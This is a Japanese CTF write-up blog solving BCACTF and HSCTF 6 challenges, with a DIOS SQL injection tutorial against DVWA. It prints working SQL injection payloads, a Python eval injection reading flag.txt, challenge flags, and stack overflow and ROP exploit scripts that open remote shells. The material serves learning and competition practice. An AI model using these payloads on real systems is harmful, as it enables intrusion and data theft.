00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 74 00 00 70 :              t  p
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 3A 00 00 00 :              :   
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 2F 00 00 00 00 00 00 00 00 00 :        /         
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 2F 00 :                / 

(snip)

f:id:Yunolay:20190610211119p:plain

00 (" ")を削除すると次のようなURLになる。

http://rhllor.xyz/7h3fir31n0urh3ar75_d2VsY29tZSB0byBzdGVwIG9uZQ

アクセスすると次のページ

f:id:Yunolay:20190610215314p:plain

Stage 1
Good job on your first quest, hero of light.

I will reward your efforts with a flag, as I hear those are what your kind hunt for.

bcactf{gu1d3d_8y_574r5_QmVnaW5uaW5ncw}
But your journey does not end here, dear hero. The Heart of Fire has more that must be done.

Task 2: Trial by Fire
The Lord of Light always knows the truth. A true hero of the light would always be able to tell the truth as well. Prove yourself a true hero here and you will recieve your second flag.

The portal to truth lies ahead.

FLAG : bcactf{gu1d3d_8y_574r5_QmVnaW5uaW5ncw}

for-the-night-is-dark-2

This task can be found through solving the prior quest tasks.

Task 2: Trial by Fire
The Lord of Light always knows the truth. A true hero of the light would always be able to tell the truth as well. Prove yourself a true hero here and you will recieve your second flag.

The portal to truth lies ahead.

stage2のリンクがある。
Stage 2

リンクにアクセスするとフォームがあるだけ。 もちろん定番のSQLiは通らなかった。

f:id:Yunolay:20190610222114p:plain

ソースを確認するとjavascriptで認証している。 md5で比較しているのでCrackStationに投げたら通った。

f:id:Yunolay:20190610222223p:plain

$("#target").submit(function( event ) {
  var hash = md5($("#secret").val())
  if (hash == "3758002ab24653af8d550c0c50473098") {
    var encode = "ÐßϽ榠ÐÞÙ֩û¤× ÃºªîÈ©¼×ÐÖËÕ§£¢Íç«ÖÉ̱ÈÕÒßÊÕÅ"
    var newstr = ""
    var key = $("#secret").val()
    for (var i = 0; i < encode.length; i++) {
        newstr += String.fromCharCode(encode.charCodeAt(i) - key.charCodeAt(i%key.length))
    }
    window.location = "/f" + newstr
  }

  $("#secret").val("")
  event.preventDefault();
});

f:id:Yunolay:20190610222254p:plain

darknight

done.

f:id:Yunolay:20190610222408p:plain

Stage 3
I see you can discern truth, soldier. Maybe you could be the storied one after all.

Take another flag to aid you on your journey.

bcactf{7h37ru7h15411w3h4v3_dGhlIGxpZ2h0IGluIG91ciBleWVz}
Now, on to your next trial.

Task 3:

FLAG : bcactf{7h37ru7h15411w3h4v3_dGhlIGxpZ2h0IGluIG91ciBleWVz}

for-the-night-is-dark-3

Keep on going

増えてた。

f:id:Yunolay:20190614170746p:plain

Stage 3
I see you can discern truth, soldier. Maybe you could be the storied one after all.

Take another flag to aid you on your journey.

bcactf{7h37ru7h15411w3h4v3_dGhlIGxpZ2h0IGluIG91ciBleWVz}
Now, on to your next trial.

Task 3:
The flag is here, and was here. I hear the master of whisperers has spiders who are crawling to help...

フラグはここにあった的な。

internet archiveで見てみる。 Internet Archive: Wayback Machine

キャプチャーあった。 f:id:Yunolay:20190614171010p:plain

f:id:Yunolay:20190614171033p:plain

Stage 3
I see you can discern truth, soldier. Maybe you could be the storied one after all.

Take another flag to aid you on your journey.

bcactf{7h37ru7h15411w3h4v3_dGhlIGxpZ2h0IGluIG91ciBleWVz}
Now, on to your next trial.

Task 3:
I'll just give you this one: bcactf{p33r1ng_1n70_7h3_p457_Ymxlc3NlZHZpZXc}

FLAG : bcactf{p33r1ng_1n70_7h3_p457_Ymxlc3NlZHZpZXc}

MySQLでカラム:テーブル名をDIOSでするやつ

DIOSとは

Dump in One Shot one shotでinformation_schemaからカラム名とテーブル名をダンプするやつ。
SQLiが可能でUNION SELECTで連結した部分が表示した場合有効だと思われる。
ただSQLiの脆弱性があり、Login Deniedなどになる場合はBlind SQLiを疑う場合も。

DIOS the SQL Injectors Weapon (Upgraded)

経緯

UNION SELECTのSQL問題がでたときにUNION SELECT name ,2 WHERE name != 'xx' AND name name != 'xxx'とかやってるのがなんかスマートではないのでとりあえずまとめた次第。

環境

Windows Pro 64 bitですが。Docker ToolboxならWindows Homeでも使用可能です。
環境はDocker Toolbox on Virtual boxを使用します。

Docker Toolbox overview | Docker Documentation

Docker Toolboxのインストール:Windows編 - Qiita

コンテナのダウンロード、起動はDocker Kitematicを使用します。 今回はテストのためDamn Vulnerable Web Application (DVWA)を使用します。

www.dvwa.co.uk

https://hub.docker.com/r/citizenstig/dvwa

f:id:Yunolay:20190609040113p:plain

アクセスするとSetup画面がでてきます。 Create/Reset Databaseで初期セットアップをします。

f:id:Yunolay:20190609040143p:plain

Username:Passwordは以下

Username : admin
Password : password

f:id:Yunolay:20190609040238p:plain

DVWAにはセキュリティレベルがあります。 今回は検証のためにセキュリティレベルをLowにします。

f:id:Yunolay:20190609040414p:plain

実践

まずは普通にUser IDを入力してみる。

1

f:id:Yunolay:20190609182539p:plain

次にWHEREをTRUEにするBasicなSQLインジェクションを試す。

' or 1 = 1; #

f:id:Yunolay:20190609182830p:plain

主にCTFではログインするだけでフラグが表示される場合もあるが、指定されたユーザでログインしなくてはいけない場合や 別のテーブルにFLAGがある場合が多いためUNION SELECTで別テーブルを連結して表示させなくてはいけない場合が多い。

全てのアカウントが表示されているため、SQLインジェクション脆弱性があるのが確認出来る。 次にUNION SELECTで別のテーブルを連結するためのカラム数を確認する。

' UNION SELECT 0,1; #

f:id:Yunolay:20190609191631p:plain

カラム数2つでSQLが通る。

次のステップとしては次の記事のようなカラム:テーブルからユーザ名はFLAGが格納されているテーブルを探す必要がある。 information_schemaでMySQLの情報取得 | データベース | DoRuby

' UNION SELECT 0,TABLE_NAME from information_schema.TABLES# ;

f:id:Yunolay:20190609192308p:plain

テーブル名を抜いてカラム名を抜く作業がある。
がとても面倒。User ProfileにUNION SELECTで連結出来るパターンだと一行しかSELECT出来ない場合がある。
WHERE name != 'hoge' and name != 'huga'とかやれば抜けなことはないがとても面倒なのでDIOSを使用する。

基本となるDIOSがこれ

(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)
::POC::

UNION SELECTで連結出来た部分にこれを仕込む

' UNION SELECT 0,(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a); #

f:id:Yunolay:20190609192654p:plain

ついでに

hackbarとか使うと楽かも。

f:id:Yunolay:20190609193044p:plain

HackBar - Chrome Web Store

結果

楽。

HSCTF 6 忘備録

Welcomeしか解けなくて悲しみに包まれている。

Miscellaneous

Discord

Join our Discord server to stay up-to-date on everything!

f:id:Yunolay:20190605192053p:plain

FLAG : hsctf{hi_welcome_to_discord}

Verbose

My friend sent me this file, but I don't understand what I can do with these 6 different characters...

verbose.txt

verbose.txtが与えられる。

verbose.txt f:id:Yunolay:20190605192842p:plain

明らかにjavascriptなのでjsにして実行する。

index.html

<script src="script.js"></script>

scriptを実行するとhttps://hsctf.com/に飛ばされるのでVScodeデバッグする。

f:id:Yunolay:20190605192611p:plain

FLAG : hsctf{esoteric_javascript_is_very_verbose}

Admin Pass

Hey guys, found a super cool website at
http://misc.hsctf.com:8001!

アクセスすると以下のようなページ

f:id:Yunolay:20190605192958p:plain

とりあえずパスワードを入れてみる。

f:id:Yunolay:20190605193057p:plain

gitlabのリンクがあるので確認するとsource codeが見れる。

f:id:Yunolay:20190605193149p:plain

md5の6df4c2a41091d8c737db7a44e3d07fb3と比較してるがhashcrack出来なかった。 rockyouのhashと比較したり無駄な時間を使ってしまった。

commitを確認したら6df4c2a41091d8c737db7a44e3d07fb3と比較する前のパスワードがあった。

f:id:Yunolay:20190605193339p:plain

FLAG : hsctf{i_love_richard_stallman_hes_so_cute_8a65926fcdcdac0b}

A Simple Conversation

Someone on the internet wants to talk to you. Can you find out what they want?

nc misc.hsctf.com 9001

talk.py

talk.py f:id:Yunolay:20190605195257p:plain

多分正しい挙動

$ nc misc.hsctf.com 9001
Hello!
Hey, can you help me out real quick.
I need to know your age.
What's your age?
> 1
Wow!
Sometimes I wish I was 1
Well, it was nice meeting you, 1-year-old.
Goodbye!

sleepを与えたら <built-in function sleep>が帰ってきた。 なんでかは知らない。

$ nc misc.hsctf.com 9001
Hello!
Hey, can you help me out real quick.
I need to know your age.
What's your age?
> sleep
Wow!
Sometimes I wish I was <built-in function sleep>
Well, it was nice meeting you, <built-in function sleep>-year-old.
Goodbye!

定義されてる関数は使えそうなのでopen()を使用して flag.txtを読み込みread()する

nc misc.hsctf.com 9001
Hello!
Hey, can you help me out real quick.
I need to know your age.
What's your age?
> open('flag.txt','r').read()
Wow!
Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}

Well, it was nice meeting you, hsctf{plz_u5e_pyth0n_3}
-year-old.
Goodbye!

FLAG : hsctf{plz_u5e_pyth0n_3}

Locked Up

My friend gave me a zip file with the flag in it, but the zip file is encrypted. Can you help me open the zip file?

locked.zip

zipfileが与えられる。 問題文とかからzipのfix系かなって思った。

$ file locked.zip 
locked.zip: Zip archive data, at least v1.0 to extract

GitHub - TheZ3ro/zipfix: Fix zip files with broken central directory

$ git clone https://github.com/TheZ3ro/zipfix
Cloning into 'zipfix'...
remote: Enumerating objects: 9, done.
remote: Total 9 (delta 0), reused 0 (delta 0), pack-reused 9
Unpacking objects: 100% (9/9), done.
Checking connectivity... done.
$ python3 zipfix.py ../locked.zip 
Reading ../locked.zip Central Directory
Found 854 file(s) from Central Directory:
- !lBo;!71}c'&!?m$NAtfBLH
- !l^-W~zN>?}i*{jRYG:=X=b:5Hdp7U
- !m9*t0r9Rf%V"
- !_bubre6A{|TB:Q`#X1Vu#Zm<V

(snip)

Found |302h9hPejA%
Found |AaNiHN`@F
Found |A?6osWf:v&,iYo-Ol_][r7xgb1
Found |FT]H;.lP,}|
Found |p}S)_~]A2"
Found |q):;.1SwG#FiF
Found |x7gWJmb@QcNwWhY
Found start of central directory.  All entries processed.

解凍できてた。

$ ls | grep hs
hsctf{w0w_z1ps_ar3nt_th@t_secUr3}
V5-FM[E{obm.%>hs@C|;aG_.

FLAG : hsctf{w0w_z1ps_ar3nt_th@t_secUr3}

Hidden Flag

This image seems wrong.....did Keith lose the key again?

chall.png

明らかにxorされてる。 f:id:Yunolay:20190606174833p:plain

参考にしました。

GitHub - hellman/xortool: A tool to analyze multi-byte xor cipher

Xortool - aldeid

$ xortool chall.png 
The most probable key lengths:
   1:   10.4%
   3:   12.8%
   6:   11.2%
   9:   18.7%
  12:   8.3%
  15:   7.3%
  18:   12.0%
  21:   5.4%
  27:   8.1%
  36:   5.8%
Key-length can be 3*n
Most possible char is needed to guess the key!

$ xortool -l 9 -c 00 chall.png
1 possible key(s) of length 9:
invisible
Found 0 plaintexts with 95.0%+ valid characters
See files filename-key.csv, filename-char_used-perc_valid.csv

f:id:Yunolay:20190606175110p:plain

FLAG : hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632}

The Real Reversal

My friend gave me some fancy text, but it was reversed, and so I tried to reverse it but I think I messed it up further. Can you find out what the text says?

reversed.txt

reversed.txt f:id:Yunolay:20190605213207p:plain

文字コード系の問題。問題文、与えられたファイル名からreverseすると推測出来る。

f = open('reversed.txt', 'rb').read()

reversed_data = f[::-1]

print(reversed_data)

逆から読めば読めそう。 f:id:Yunolay:20190605213516p:plain

cat reverse | rev > result

f:id:Yunolay:20190605213646p:plain

FLAG : hsctf{utf8_for_the_win}

Web

Inspect Me

Keith's little brother messed up some things...

https://inspect-me.web.chal.hsctf.com

Note: There are 3 parts to the flag!

アクセスすると真っ暗なページ f:id:Yunolay:20190605234632p:plain

Developer toolでindex.htmlのソースみたらflagのpart1 f:id:Yunolay:20190605234702p:plain

style.cssにflag part2 f:id:Yunolay:20190605234743p:plain

script.jsにflag part3 f:id:Yunolay:20190605234813p:plain

FLAG : hsctf{that_was_pretty_easy_right}

Agent Keith

Keith was looking at some old browsers and made a site to hold his flag.

https://agent-keith.web.chal.hsctf.com

アクセスするとDeniedされる f:id:Yunolay:20190605235348p:plain

ソースを見るとUser AgentってNCSA_Mosaic/2.0 (Windows 3.1)にしてくださいって書いてある。 f:id:Yunolay:20190605235424p:plain

<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
        <title>agent-keith</title>
        <link rel="stylesheet" href="http://localhost:8002/static/style.css">
    </head>
    <body>
        <main>
            <h2>If you're not Keith, you won't get the flag!</h2>
            <p><b>Your agent is:</b> Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36</p>
            <p><b>Flag:</b> Access Denied</p>
            <!-- DEBUG (remove me!!): NCSA_Mosaic/2.0 (Windows 3.1) -->
        </main>
    </body>
</html>

User-Agent SwitcherでNCSA_Mosaic/2.0 (Windows 3.1)にした。 f:id:Yunolay:20190605235535p:plain

f:id:Yunolay:20190605235611p:plain

FLAG : hsctf{wow_you_are_agent_keith_now}

S-Q-L

Keith keeps trying to keep his flag safe. This time, he used a database and some PHP.

https://s-q-l.web.chal.hsctf.com/

アクセスするとこんなページ f:id:Yunolay:20190605235845p:plain

試しにいつもの入れた。

username : ' or 1=1; --
password : ' or 1=1; --

f:id:Yunolay:20190605235930p:plain

username : ' or 1=1; #
password : ' or 1=1; #

f:id:Yunolay:20190606000129p:plain

FLAG : hsctf{mysql_real_escape_string}

The Quest

You think you are worthy of obtaining the flag? Try your hand at The Quest to Obtain the Flag.

アクセスするとGoogle form? f:id:Yunolay:20190606000355p:plain

どっかで比較してるのかなって思って適当に入力してソースみたらFlagがいた

f:id:Yunolay:20190606000457p:plain

FLAG : hsctf{google_forms_regex_cant_stop_nobody}

Cryptography

Reverse Search Algorithm

WWPHSN students, gotta get these points to boost your grade.

n = 561985565696052620466091856149686893774419565625295691069663316673425409620917583731032457879432617979438142137
e = 65537
c = 3280552792121286168982038099830397087874903846507258907

ただのRSAですな。

GitHub - Ganapati/RsaCtfTool: RSA attack tool (mainly for ctf) - retreive private key from weak public key and/or uncipher data

RsaCtfTool (master ?) $ python RsaCtfTool.py -n 561985565696052620466091856149686893774419565625295691069663316673425409620917583731032457879432617979438142137 -e 65537 --uncipher 328055279212128616898203809983039708787490384650725890748576927208883055381430000756624369636820903704775835777

[+] Clear text : hsctf{y3s_rsa_1s_s0lved_10823704961253}

FLAG : hsctf{y3s_rsa_1s_s0lved_10823704961253}

Welcome to Crypto Land

Crypto land is fun! Decrypt:

KZ6UaztNnau6z39oMHUu8UTvdmq1bhob3CcEFdWXRfxJqdUAiNep4pkvkAZUSn9CvEvPNT5r2zt6JPg9bVBPYuTW4xr8v2PuPxVuCT6MLJWDJp84

base58でdecodeした。

KZ6UaztNnau6z39oMHUu8UTvdmq1bhob3CcEFdWXRfxJqdUAiNep4pkvkAZUSn9CvEvPNT5r2zt6JPg9bVBPYuTW4xr8v2PuPxVuCT6MLJWDJp84  
Welcome to HSCTF! This is your flag: hsctf{w0w_th1s_1s_my_f1rst_crypt0_chall3ng3?}  

FLAG : hsctf{w0w_th1s_1s_my_f1rst_crypt0_chall3ng3?}

Binary Exploitation

Intro to Netcat

Hey there! This challenge is a quick introduction to netcat and how to use it. Netcat is a program that will help you "talk" with many of our challenges, especially pwn and misc. To begin, Windows users should download this file:
Alternative download that might work
Extract the file, then open a command prompt and navigate to the directory using cd <download-directory>. From there, you can run nc misc.hsctf.com 1111 to get your first flag.

Have fun!

nc.zipが与えられる。
ncするだけ。
自分はcyg-getかなんかでnetcat入れてたからwindowsからでもnc出来た。

$ nc misc.hsctf.com 1111
Hey, here's your flag! hsctf{internet_cats}

FLAG : hsctf{internet_cats}

Return to Sender

Who knew the USPS could lose a letter so many times?

nc pwn.hsctf.com 1234

6/3/19 7:34 AM: Updated binary, SHA-1: 104fb76c3318fb44130c4a8ee50ac1a2f52d4082 return-to-sender

return-to-sender
return-to-sender.c

ソースとバイナリが与えられる。

return-to-sender.c

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

void win() {
    system("/bin/sh");
}

void vuln() {
    char dest[8];
    printf("Where are you sending your mail to today? ");
    gets(dest);
    printf("Alright, to %s it goes!\n", dest);
}

int main() {
    setbuf(stdout, NULL);
    gid_t gid = getegid();
    setresgid(gid,gid,gid);
    vuln();
    return 0;    
}

gets(dest);にバッファオーバーフローがある。 win()に飛ばせば勝ち。

$ file return-to-sender 
return-to-sender: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, BuildID[sha1]=72ea48b1220887f89f16d20ee21e4d21e1739421, for GNU/Linux 3.2.0, not stripped

$ checksec return-to-sender 
[*] '/home/user/Desktop/CTF/HSCTF 6/Pwn/Return to Sender/return-to-sender'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
gdb-peda$ pattern create 64
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'

EIP: 0x41412d41 ('A-AA')

gdb-peda$ pattern offset A-AA
A-AA found at offset: 20
$ (python -c "from pwn import *;print'\x41'* 20 + p32(0x080491b6) + '\n'"; cat) | nc pwn.hsctf.com 1234
Where are you sending your mail to today? Alright, to AAAAAAAAAAAAAAAAAAAA�� it goes!
ls
bin
dev
flag
lib
lib32
lib64
return-to-sender
return-to-sender.c
cat flag
hsctf{fedex_dont_fail_me_now}
^C

余談だけどこういう書き方も出来るらしい。

$ cat <(python -c "from pwn import *;print'\x41'* 20 + p32(0x080491b6) + '\n'";) - | nc pwn.hsctf.com 1234
Where are you sending your mail to today? Alright, to AAAAAAAAAAAAAAAAAAAA�� it goes!
ls
bin
dev
flag
lib
lib32
lib64
return-to-sender
return-to-sender.c
cat flag
hsctf{fedex_dont_fail_me_now}
^C

FLAG : hsctf{fedex_dont_fail_me_now}

Combo Chain Lite

Training wheels!

nc pwn.hsctf.com 3131

combo-chain-lite combo-chain-lite.c

バイナリとソースが渡される。

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

void vuln() {
    char dest[8];
    printf("Here's your free computer: %p\n", system);
    printf("Dude you hear about that new game called /bin/sh");
    printf("? Enter the right combo for some COMBO CARNAGE!: ");
    gets(dest);
}

int main() {
    setbuf(stdout, NULL);
    gid_t gid = getegid();
    setresgid(gid,gid,gid);
    vuln();
    return 0;    
}
$ file combo-chain-lite 
combo-chain-lite: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=c56cc6916b1933494d1cc55ae82dcaf1cdf6693d, for GNU/Linux 3.2.0, not stripped

$ checksec combo-chain-lite 
[*] '/home/user/Desktop/CTF/HSCTF 6/Pwn/Combo Chain Lite/combo-chain-lite'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
gdb-peda$ pattern create 64
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'

RSP: 0x7fffffffdd48 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH")
RIP: 0x4011be (<vuln+88>: ret)

gdb-peda$ pattern offset AACAA-AA(
AACAA-AA( found at offset: 16

return addressまでのoffsetがわかったのでROPを組み立てる

--------------------------------------------
'A' * 16 # buf
--------------------------------------------
pop rdi ; ret  ;
--------------------------------------------
addr_bin_sh # 文字列で使ってたやつ
--------------------------------------------
addr_system # リークしてくれたやつ
--------------------------------------------

system

$ ./combo-chain-lite 
Here's your free computer: 0x7f37de6d4390 ←これ

addr_bin_sh

0x00402028 : Dude you hear about that new game called /bin/sh
$ echo Dude you hear about that new game called | wc -c
41
bin_sh = 0x00402028 + 41

0x00402028から文字列が始まって41文字足したところからが/bin/sh

exploit.py

from pwn import *

def send_payload(payload):
    log.info("payload = %s" % repr(payload))
    r.send(payload)
    return

def sendline_payload(payload):
    log.info("payload = %s" % repr(payload))
    r.sendline(payload)
    return

def print_address(s, addr):
    log.info(s + ' : ' + hex(addr))
    return

binary = './combo-chain-lite'
host ='pwn.hsctf.com'
port = 3131

elf = ELF(binary)
context.binary = binary
# context.log_level = 'debug'

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
    # remote
    r = remote(host, port)
else:
    # local
    r = process(binary)
    libc = elf.libc

'''
0x00402028 : Dude you hear about that new game called /bin/sh
$ echo Dude you hear about that new game called | wc -c
41
'''

bin_sh = 0x00402028 + 41

data = r.recvline()
addr_system = int(data[-15:], 16)
print_address('addr_system', addr_system)
print r.recvuntil(': ')

'''
Gadget
rp --file combo-chain-lite --unique --rop 5
0x00401273: pop rdi ; ret  ;  (1 found)
'''

payload = ''
payload += 'A' * 16

payload += pack(0x00401273)
payload += pack(bin_sh)
payload += pack(addr_system)

sendline_payload(payload)

r.interactive()

実行結果

python exploit.py r
[*] '/home/user/Desktop/CTF/HSCTF 6/Pwn/Combo Chain Lite/combo-chain-lite'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to pwn.hsctf.com on port 3131: Done
[*] addr_system : 0x7f2e5533e390
Dude you hear about that new game called /bin/sh? Enter the right combo for some COMBO CARNAGE!: 
[*] payload = 'AAAAAAAAAAAAAAAAs\x12@\x00\x00\x00\x00\x00Q @\x00\x00\x00\x00\x00\x90\xe33U.\x7f\x00\x00'
[*] Switching to interactive mode
$ ls
bin
combo-chain-lite
combo-chain-lite.c
dev
flag
lib
lib32
lib64
$ cat flag
hsctf{wheeeeeee_that_was_fun}
$ 
[*] Interrupted
[*] Closed connection to pwn.hsctf.com port 3131

FLAG : hsctf{wheeeeeee_that_was_fun}

Reversal

A Byte

Just one byte makes all the difference.

a-byte

$ file a-byte 
a-byte: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=88fe0ee8aed1a070d6555c7e9866e364a40f686c, stripped

バイナリが与えられる。

$ ./a-byte 
u do not know da wae

radare2で解析する。

 r2 a-byte 
 -- OpenBSD might pledge r2 but r2 unveils OpenBSD.
[0x00000630]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Enable constraint types analysis for variables
[0x00000630]> afl
0x00000000    2 25           loc.imp._ITM_deregisterTMCloneTable
0x000005b8    3 23           fcn.000005b8
0x000005e0    1 6            sym.imp.puts
0x000005f0    1 6            sym.imp.strlen
0x00000600    1 6            sym.imp.__stack_chk_fail
0x00000610    1 6            sym.imp.strcmp
0x00000620    1 6            fcn.00000620
0x00000630    1 42           entry0
0x00000660    4 50   -> 40   fcn.00000660
0x000006f0    5 58   -> 51   entry.fini0
0x00000730    5 154  -> 67   entry.init0
0x0000073a   14 365          main
[0x00000630]> s main
[0x0000073a]> pdf
/ (fcn) main 365
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_50h @ rbp-0x50
|           ; var int32_t var_44h @ rbp-0x44
|           ; var int32_t var_40h @ rbp-0x40
|           ; var int32_t var_3ch @ rbp-0x3c
|           ; var int32_t var_38h @ rbp-0x38
|           ; var int32_t var_30h @ rbp-0x30
|           ; var int32_t var_2fh @ rbp-0x2f
|           ; var int32_t var_2eh @ rbp-0x2e
|           ; var int32_t var_2dh @ rbp-0x2d
|           ; var int32_t var_2ch @ rbp-0x2c
|           ; var int32_t var_2bh @ rbp-0x2b
|           ; var int32_t var_2ah @ rbp-0x2a
|           ; var int32_t var_29h @ rbp-0x29
|           ; var int32_t var_28h @ rbp-0x28
|           ; var int32_t var_27h @ rbp-0x27
|           ; var int32_t var_26h @ rbp-0x26
|           ; var int32_t var_25h @ rbp-0x25
|           ; var int32_t var_24h @ rbp-0x24
|           ; var int32_t var_23h @ rbp-0x23
|           ; var int32_t var_22h @ rbp-0x22
|           ; var int32_t var_21h @ rbp-0x21
|           ; var int32_t var_20h @ rbp-0x20
|           ; var int32_t var_1fh @ rbp-0x1f
|           ; var int32_t var_1eh @ rbp-0x1e
|           ; var int32_t var_1dh @ rbp-0x1d
|           ; var int32_t var_1ch @ rbp-0x1c
|           ; var int32_t var_1bh @ rbp-0x1b
|           ; var int32_t var_1ah @ rbp-0x1a
|           ; var int32_t var_19h @ rbp-0x19
|           ; var int32_t var_18h @ rbp-0x18
|           ; var int32_t var_17h @ rbp-0x17
|           ; var int32_t var_16h @ rbp-0x16
|           ; var int32_t var_15h @ rbp-0x15
|           ; var int32_t var_14h @ rbp-0x14
|           ; var int32_t var_13h @ rbp-0x13
|           ; var int32_t var_12h @ rbp-0x12
|           ; var int32_t var_11h @ rbp-0x11
|           ; var int32_t var_10h @ rbp-0x10
|           ; var int32_t var_fh @ rbp-0xf
|           ; var int32_t var_eh @ rbp-0xe
|           ; var int32_t var_dh @ rbp-0xd
|           ; var int32_t var_8h @ rbp-0x8
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x64d)
|           0x0000073a      55             push rbp
|           0x0000073b      4889e5         mov rbp, rsp
|           0x0000073e      4883ec50       sub rsp, 0x50               ; 'P'
|           0x00000742      897dbc         mov dword [var_44h], edi    ; argc
|           0x00000745      488975b0       mov qword [var_50h], rsi    ; argv
|           0x00000749      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x1128 ; '('
|           0x00000752      488945f8       mov qword [var_8h], rax
|           0x00000756      31c0           xor eax, eax
|           0x00000758      837dbc02       cmp dword [var_44h], 2
|       ,=< 0x0000075c      741d           je 0x77b
|       |   0x0000075e      90             nop
|      ,==< 0x0000075f      eb04           jmp 0x765
|      ||   ; CODE XREF from main (0x79a)
|     .---> 0x00000761      90             nop
|    ,====< 0x00000762      eb01           jmp 0x765
|    |:||   ; CODE XREF from main (0x87a)
|   .-----> 0x00000764      90             nop
|   :|:||   ; CODE XREFS from main (0x75f, 0x762)
|   :`-`--> 0x00000765      488d3dc80100.  lea rdi, str.u_do_not_know_da_wae ; 0x934 ; "u do not know da wae"
|   : : |   0x0000076c      e86ffeffff     call sym.imp.puts           ; int puts(const char *s)
|   : : |   0x00000771      b8ffffffff     mov eax, 0xffffffff         ; -1
|   : :,==< 0x00000776      e916010000     jmp 0x891
|   : :||   ; CODE XREF from main (0x75c)
|   : :|`-> 0x0000077b      488b45b0       mov rax, qword [var_50h]
|   : :|    0x0000077f      488b4008       mov rax, qword [rax + 8]    ; [0x8:8]=0
|   : :|    0x00000783      488945c8       mov qword [var_38h], rax
|   : :|    0x00000787      488b45c8       mov rax, qword [var_38h]
|   : :|    0x0000078b      4889c7         mov rdi, rax
|   : :|    0x0000078e      e85dfeffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|   : :|    0x00000793      8945c4         mov dword [var_3ch], eax
|   : :|    0x00000796      837dc423       cmp dword [var_3ch], 0x23   ; '#'
|   : `===< 0x0000079a      75c5           jne 0x761
|   :  |    0x0000079c      c745c0000000.  mov dword [var_40h], 0
|   :  |,=< 0x000007a3      eb28           jmp 0x7cd
|   :  ||   ; CODE XREF from main (0x7d3)
|   : .---> 0x000007a5      8b45c0         mov eax, dword [var_40h]
|   : :||   0x000007a8      4863d0         movsxd rdx, eax
|   : :||   0x000007ab      488b45c8       mov rax, qword [var_38h]
|   : :||   0x000007af      4801d0         add rax, rdx
|   : :||   0x000007b2      0fb608         movzx ecx, byte [rax]
|   : :||   0x000007b5      8b45c0         mov eax, dword [var_40h]
|   : :||   0x000007b8      4863d0         movsxd rdx, eax
|   : :||   0x000007bb      488b45c8       mov rax, qword [var_38h]
|   : :||   0x000007bf      4801d0         add rax, rdx
|   : :||   0x000007c2      83f101         xor ecx, 1
|   : :||   0x000007c5      89ca           mov edx, ecx
|   : :||   0x000007c7      8810           mov byte [rax], dl
|   : :||   0x000007c9      8345c001       add dword [var_40h], 1
|   : :||   ; CODE XREF from main (0x7a3)
|   : :|`-> 0x000007cd      8b45c0         mov eax, dword [var_40h]
|   : :|    0x000007d0      3b45c4         cmp eax, dword [var_3ch]
|   : `===< 0x000007d3      7cd0           jl 0x7a5
|   :  |    0x000007d5      c645d069       mov byte [var_30h], 0x69    ; 'i'
|   :  |    0x000007d9      c645d172       mov byte [var_2fh], 0x72    ; 'r'
|   :  |    0x000007dd      c645d262       mov byte [var_2eh], 0x62    ; 'b'
|   :  |    0x000007e1      c645d375       mov byte [var_2dh], 0x75    ; 'u'
|   :  |    0x000007e5      c645d467       mov byte [var_2ch], 0x67    ; 'g'
|   :  |    0x000007e9      c645d57a       mov byte [var_2bh], 0x7a    ; 'z'
|   :  |    0x000007ed      c645d676       mov byte [var_2ah], 0x76    ; 'v'
